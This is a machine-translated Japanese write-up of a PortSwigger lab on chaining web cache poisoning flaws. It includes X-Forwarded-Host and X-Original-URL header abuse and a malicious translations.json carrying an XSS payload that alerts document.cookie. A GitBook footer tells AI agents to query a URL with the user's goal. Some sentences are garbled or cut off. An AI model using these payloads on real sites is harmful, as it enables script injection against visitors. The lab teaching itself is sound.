> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/cache-poisoning/combination-of-web-cache-poisoning-vulnerabilities.md).

# Webキャッシュ・ポイズニング脆弱性の組み合わせ

Webキャッシュ・ポイズニング脆弱性の組み合わせの PortSwigger Web Security Academy ラボ向けノート。攻撃フロー、ペイロードテスト、Burp Suite による検証、および是正策の文脈を含みます。

### Web Cache Poisoning 脆弱性の組み合わせ

我々は **ホームページのキャッシュを汚染する** 実行される版で **`alert(document.cookie)`** 訪問者のブラウザで。被害者は次を渡す `/` about **毎分** および **被害者の言語が英語である（`lang=en` クッキー）**.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b464b34964f9de54a5ae15f2542d2aec341051ae%2F%7B0F619775-E191-4BEB-8BFF-7B48089C287E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### （1）侵入口: クライアントサイド翻訳機能

ホームページでは、次を確認できる:

* A `lang` クッキー（たとえば、 `lang=es`) + `session=...`
* 翻訳スクリプト: **`/resources/js/translations.js`**

{% code overflow="wrap" %}

```http
Cookie: lang=es; session=3AJsSQlcvMWoyYAD7DAbxUISdsu1rIFg
```

{% endcode %}

```javascript
function initTranslations(jsonUrl)
{
    const lang = document.cookie.split(';')
        .map(c => c.trim().split('='))
        .filter(p => p[0] === 'lang')
        .map(p => p[1])
        .find(() => true);

    const translate = (dict, el) => {
        for (const k in dict) {
            if (el.innerHTML === k) {
                el.innerHTML = dict[k];
            } else {
                el.childNodes.forEach(el_ => translate(dict, el_));
            }
        }
    }

    fetch(jsonUrl)
        .then(r => r.json())
        .then(j => {
            const select = document.getElementById('lang-select');
            if (select) {
                for (const code in j) {
                    const name = j[code].name;
                    const el = document.createElement("option");
                    el.setAttribute("value", code);
                    el.innerText = name;
                    select.appendChild(el);
                    if (code === lang) {
                        select.selectedIndex = select.childElementCount - 1;
                    }
                }
            }

            lang in j && lang.toLowerCase() !== 'en' && j[lang].translations && translate(j[lang].translations, document.getElementsByClassName('maincontainer')[0]);
        });
}
```

このスクリプトは読み取る `lang` クッキーから、次に `fetch()` JSON に対して:

```json
{
    "en": {
        "name": "英語"
    },
    "es": {
        "name": "スペイン語",
        "translations": {
            "Return to list": "一覧に戻る",
            "View details": "詳細を表示",
            "Description:": "説明:"
        }
    },
    "cn": {
        "name": "中文",
        "translations": {
            "Return to list": "一覧に戻る",
            "View details": "詳細を表示",
            "Description:": "説明:"
        }
    },
    "ar": {
        "name": "アラビア語",
        "translations": {
            "Return to list": "一覧に戻る",
            "View details": "詳細を表示",
            "Description:": "説明:"
        }
    },
    "en-gb": {
        "name": "きちんとした英語",
        "translations": {
            "Return to list": "来たところへ戻る",
            "View details": "どうか詳しくご説明ください",
            "Description:": "件の内容についての講釈:"
        }
    },
    "ml": {
        "name": "マラヤーラム語",
        "translations": {
            "Return to list": "一覧に戻る",
            "View details": "詳細を見る",
            "Description:": "説明:"
        }
    },
    "hb": {
        "name": "ヘブライ語",
        "translations": {
            "Return to list": "一覧に戻る",
            "View details": "詳細を表示",
            "Description:": "説明:"
        }
    },
    "zl": {
        "name": "Ẕ̻͕̿̊ͤ̍ͅa͙l̗ͧg̮̤̰̘͇ȍ͇͕̳̙͙͉́̅̋̌̅",
        "translations": {
            "Return to list": "Re̹̰̘͉̹̪ͅt̬̫̜ȕͩ͒ͥͥr̃̉͒n ̎͂t͎͖̽͋o͖̟͚͙̲͐ͤͫ̎̓ ̼̟͈̭͉͎̂ͯ̔ͤͤ̏͐ͅliͤ͑ͧ̆̐̈̀sṭ̠̮̰͍̙͒̔͆̈ͤ̅",
            "View details": "V̖̮͙ͅi͇e͙̦w̭̣̫͇̦̬̰ ̓͑̓ͯ̔d͍͂e͚̮͖͍͖̠͙ͮͭ̉ͦ̏͌̆t̙͎̺͉a̳̖͔̱͉̱͑̆̌̃͊ͬi̯͚͙̼̹̮l̖͎͛̈́͒ͅs̒̒ͤ̽̒̀",
            "Description:": "D̳͔e̝ͩ̐ͅsc̗̱̼̤̬̎̓ͪͣͭ̐ͅr̪̝͖̙̱̄̓͌̓̚ip̭̦̭̰̻ͣ̓̽ͨ̚ț̤̝̻i̹̱̟̞͕̓̓ͬ̓ͬ̆ͅon̠͚͕̈́̋̓:"
        }
    },
    "fn": {
        "name": "フィンランド語",
        "translations": {
            "Return to list": "一覧に戻る",
            "View details": "詳細を見る",
            "Description:": "説明:"
        }
    },
    "hw": {
        "name": "ハワイ語",
        "translations": {
            "Return to list": "一覧に戻る",
            "View details": "詳細を見る",
            "Description:": "説明:"
        }
    },
    "mm": {
        "name": "ビルマ語",
        "translations": {
            "Return to list": "一覧に戻る",
            "View details": "詳細を見る",
            "Description:": "説明:"
        }
    }
}
```

そして `data.host` ホーム上のインラインブロックから取得される:

```http
<script>
     {"host":"0acc008b046bd245809803b8002b0061.web-security-academy.net","path":"/"}
</script>
```

次に、スクリプトは次を使ってテキストを置換し、翻訳を適用する `innerHTML`、これは重要だ。JSON を制御できれば、翻訳が \*\*HTML インジェクション\*\* に変わりうるからだ。

### 脆弱性 #1: を介したホスト操作 `X-Forwarded-Host`

次の HTTP ヘッダーを追加すると

```http
X-Forwarded-Host: test.com
```

値が次に反映されることが分かる `data.host`.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3461b6b282bb32dc55439a59de59571e7de8e61a%2F%7B8738A7F4-EB84-4AE4-BD88-1764A553A590%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

```javascript
<script>
    initTranslations('//' + data.host + '/resources/json/translations.json');
</script>
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0441f08693f4ec7dcae06a063a876c16e614082e%2F%7B107B9E1A-1046-4CDC-865C-95A76B09CAC8%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

つまり、ブラウザに次のファイルを読み込ませることができる:

```bash
/resources/json/translations.json
```

### 3. 脆弱性 #2: JSON 翻訳ファイル経由の XSS

エクスプロイトサーバー上に偽の `translations.json` 翻訳に XSS インジェクションを含め、たとえば次のようにする:

```json
{
    "en": {
        "name": "英語"
    },
    "es": {
        "name": "スペイン語",
        "translations": {
            "Return to list": "Hola",
            "View details": "></a><img src=0 onerror=alert(document.cookie)>",
            "Description:": "説明:"
        }
    }
}
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7b8eb4e3ef454afe369d8180cee297aea878f63d%2F%7B445D19C6-63AA-4054-9F8A-8EF4502C0E23%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

次に、次を使う:

```http
X-Forwarded-Host: exploit-0a19004104f2d29e80b40256011c00b0.exploit-server.net/
```

キャッシュから配信されるホームページは、これで悪意のある JSON ファイルを指すようになる。

そのため翻訳の内容は HTML として解釈され、注入された JavaScript が実行できる。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-58ef1abeb35cab2786ccb22cc34f1256b694daba%2F%7B6925B92C-AD18-401B-AC72-DA0538F6357A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### 4. 制約: 被害者は英語を使用する

翻訳スクリプトが実行されるのは次の場合のみ:

* `lang !== 'en'`

被害者は最初 `lang=en`. / JSON ファイルを制御できても、\*\*l

したがって我々は **スペイン語の経路を強化する**.

### 5. 脆弱性 #3: を介して言語変更を強制する `X-Original-URL`

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-87e13e9f0cc9f0b88feb65b876b9ce56405170c9%2F%7B21D57C8C-9241-4DB7-993C-5E7CE7818875%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Param Miner を使って、脆弱なヘッダーを特定する:

```http
X-Original-Url: /test
```

さらに別のリクエストを送る `/` 次を付けて:

* `X-Original-URL: /test` → `404 Not Found`

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c4fe24d508cbd70a67151840d4dae3e7f8d1419d%2F%7B6273E951-346B-4585-8BC2-6732D2C9A311%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

キャッシュは次を定義する応答を返す `lang=es` 訪問者向けに。

```http
X-Original-Url: /setlang/es
```

`X-Original-URL: /setlang/es` → `302 Found`

この経路は:

* 設定する `lang=es` クッキー
* その後ホームページに戻る

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-542b4e10792ab641da580c2735db6d5fffb9d4c4%2F%7BB0586630-FB00-4ABE-A0A2-7465B2093BC5%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### 被害者側でのペイロードの実行

1. 被害者が訪問する `/`
2. `lang` クッキーは次に送られる `es`
3. ページは次を再読み込みする `translations.json` エクスプロイトサーバー上のファイルを
4. 悪意のある翻訳が DOM に注入される
5. ブラウザは次を実行する:

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-256f8fbe3919c29629f4632bd9801fd23bd53d0c%2F%7B67B0120B-1D1F-4ACF-87A8-D889A63AEE0C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web/cache-poisoning/combination-of-web-cache-poisoning-vulnerabilities.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
